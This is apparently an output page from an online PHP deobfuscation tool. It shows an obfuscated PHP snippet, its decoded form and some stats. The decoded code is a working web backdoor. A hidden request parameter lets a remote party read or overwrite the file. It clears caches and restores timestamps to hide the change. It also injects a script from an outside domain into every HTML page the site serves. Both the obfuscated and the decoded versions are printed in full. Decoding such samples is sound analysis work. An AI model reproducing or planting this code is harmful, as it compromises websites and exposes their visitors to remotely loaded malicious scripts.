Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if(isset($_REQUEST["\167\x64\61x\160\166\1429x\64nv\167r\x79t"])){if(empty($_REQUEST["\167..
Decoded Output download
<? if(isset($_REQUEST["wd1xpvb9x4nvwryt"])){if(empty($_REQUEST["wd1xpvb9x4nvwryt"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{$ju5sqd=filemtime(__FILE__);$ry7lwx=fileatime(__FILE__);if(function_exists("opcache_reset")){@opcache_reset();}if(function_exists("apc_clear_cache")){@apc_clear_cache();}echo strval(file_put_contents(__FILE__,gzinflate(pack("H*",$_REQUEST["wd1xpvb9x4nvwryt"]))));@touch(__FILE__,$ju5sqd+1,$ry7lwx+1);}die;}if(isset($_SERVER["HTTP_ACCEPT"])&&(strpos($_SERVER["HTTP_ACCEPT"],"text/html")!==false||$_SERVER["HTTP_ACCEPT"]==="*/*")){function h8jvgq($ju5sqd){return str_replace("</head>","<script type='text/javascript' async src='https://iwrel1t4.cloudfire.quest/challenge.js'></script></head>",$ju5sqd);}ob_start("h8jvgq");} ?>Did this file decode correctly?
Original Code
if(isset($_REQUEST["\167\x64\61x\160\166\1429x\64nv\167r\x79t"])){if(empty($_REQUEST["\167d\61\170\x70\166b9\x78\64\x6e\166w\x72\171t"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{$ju5sqd=filemtime(__FILE__);$ry7lwx=fileatime(__FILE__);if(function_exists("o\x70cac\x68\x65\x5f\162\145\x73\x65t")){@opcache_reset();}if(function_exists("\141p\143\137cl\x65\x61\x72_\x63\141\x63\150\145")){@apc_clear_cache();}echo strval(file_put_contents(__FILE__,gzinflate(pack("\x48\x2a",$_REQUEST["\x77d\61\x78\x70\166b\x39\170\x34\156\166\x77r\x79\164"]))));@touch(__FILE__,$ju5sqd+1,$ry7lwx+1);}die;}if(isset($_SERVER["H\124\x54\120_\x41C\103\x45\120\124"])&&(strpos($_SERVER["\x48\124\x54\120\x5fA\103\x43\105PT"],"\164e\170\164\x2f\x68tml")!==false||$_SERVER["H\x54\x54\x50\x5f\101\103\103\105\120T"]==="*/\52")){function h8jvgq($ju5sqd){return str_replace("\x3c/\150\x65a\144\x3e","\74\163\143\x72\x69\160\x74 t\x79\x70\145='\164\x65\x78\x74\57\x6a\141\x76a\163\x63\162\151\160\x74\47\40\141\163y\156c \x73r\x63\x3d\47\x68\164\164\160\x73\72\57\57i\x77\x72el\61t4.\143lo\165\144\146\x69\162\145.\161\165es\x74/\x63ha\x6c\x6c\145\x6ege\x2e\152\x73\x27\x3e</sc\162i\x70t\x3e\x3c/\x68\145\141\144>",$ju5sqd);}ob_start("h\70\152v\x67\x71");}Function Calls
| strpos | 1 |
Stats
| MD5 | 48b9ea8ec6902fbdd5474595bc130a6f |
| Eval Count | 0 |
| Decode Time | 45 ms |